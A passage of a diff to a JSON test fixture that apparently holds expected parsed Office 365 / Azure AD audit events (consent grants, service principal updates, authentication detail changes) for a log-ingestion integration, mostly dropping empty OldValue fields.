Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ", - "OldValue": "" + "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; " }, "ConsentContext_IsAdminConsent": { - "NewValue": "True", - "OldValue": "" + "NewValue": "True" }, "ConsentContext_IsAppOnly": { - "NewValue": "False", - "OldValue": "" + "NewValue": "False" }, "ConsentContext_OnBehalfOfAll": { - "NewValue": "True", - "OldValue": "" - }, - "ConsentContext_Tags": { - "NewValue": "", - "OldValue": "" + "NewValue": "True" }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -6817,34 +6641,24 @@ }, "ModifiedProperties": { "ConsentAction_Permissions": { - "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ", - "OldValue": "" + "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; " }, "ConsentContext_IsAdminConsent": { - "NewValue": "True", - "OldValue": "" + "NewValue": "True" }, "ConsentContext_IsAppOnly": { - "NewValue": "False", - "OldValue": "" + "NewValue": "False" }, "ConsentContext_OnBehalfOfAll": { - "NewValue": "True", - "OldValue": "" - }, - "ConsentContext_Tags": { - "NewValue": "", - "OldValue": "" + "NewValue": "True" }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -6920,7 +6734,6 @@ }, { "@timestamp": "2020-02-10T15:15:04.000Z", - "client": {}, "ecs": { "version": "8.11.0" }, @@ -6971,7 +6784,6 @@ } ], "ActorContextId": "d51ef8df-6617-4356-b8d4-89ad7efef31e", - "ActorIpAddress": "", "AzureActiveDirectoryEventType": "1", "CreationTime": "2020-02-10T15:15:04", "ExtendedProperties": { @@ -7016,22 +6828,19 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "StrongAuthenticationPhoneAppDetail", - "OldValue": "" + "NewValue": "StrongAuthenticationPhoneAppDetail" }, "StrongAuthenticationPhoneAppDetail": { "NewValue": "[\r\n {\r\n \"DeviceName\": \"NO_DEVICE\",\r\n \"DeviceToken\": \"NO_DEVICE_TOKEN\",\r\n \"DeviceTag\": \"SoftwareTokenActivated\",\r\n \"PhoneAppVersion\": \"NO_PHONE_APP_VERSION\",\r\n \"OathTokenTimeDrift\": -1,\r\n \"DeviceId\": null,\r\n \"Id\": \"3b539b10-3846-4f9b-877d-55b0b8e76147\",\r\n \"TimeInterval\": null,\r\n \"AuthenticationType\": 2,\r\n \"NotificationType\": 1,\r\n \"SecuredPartitionId\": 0,\r\n \"SecuredKeyId\": 0\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"DeviceName\": \"NO_DEVICE\",\r\n \"DeviceToken\": \"NO_DEVICE_TOKEN\",\r\n \"DeviceTag\": \"SoftwareTokenActivated\",\r\n \"PhoneAppVersion\": \"NO_PHONE_APP_VERSION\",\r\n \"OathTokenTimeDrift\": 0,\r\n \"DeviceId\": null,\r\n \"Id\": \"3b539b10-3846-4f9b-877d-55b0b8e76147\",\r\n \"TimeInterval\": null,\r\n \"AuthenticationType\": 2,\r\n \"NotificationType\": 1,\r\n \"SecuredPartitionId\": 0,\r\n \"SecuredKeyId\": 0\r\n }\r\n]" }, "TargetId_UserType": { - "NewValue": "Member", - "OldValue": "" + "NewValue": "Member" } }, "ObjectId": "asr@testsiem.onmicrosoft.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "User_755e500a-6c03-46b0-b53b-282f23374e3b", @@ -7193,31 +7002,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -7397,31 +7191,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -7601,31 +7380,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -7806,30 +7570,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -8010,30 +7768,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -8214,30 +7966,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -8418,30 +8164,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -8622,30 +8362,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -8826,30 +8560,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -9030,30 +8758,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -9234,30 +8956,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -9438,30 +9154,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -9642,30 +9352,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -9846,30 +9550,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -10050,30 +9748,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -10253,34 +9945,24 @@ }, "ModifiedProperties": { "ConsentAction_Permissions": { - "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ", - "OldValue": "" + "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; " }, "ConsentContext_IsAdminConsent": { - "NewValue": "True", - "OldValue": "" + "NewValue": "True" }, "ConsentContext_IsAppOnly": { - "NewValue": "False", - "OldValue": "" + "NewValue": "False" }, "ConsentContext_OnBehalfOfAll": { - "NewValue": "True", - "OldValue": "" - }, - "ConsentContext_Tags": { - "NewValue": "", - "OldValue": "" + "NewValue": "True" }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -10460,34 +10142,24 @@ }, "ModifiedProperties": { "ConsentAction_Permissions": { - "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ", - "OldValue": "" + "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: 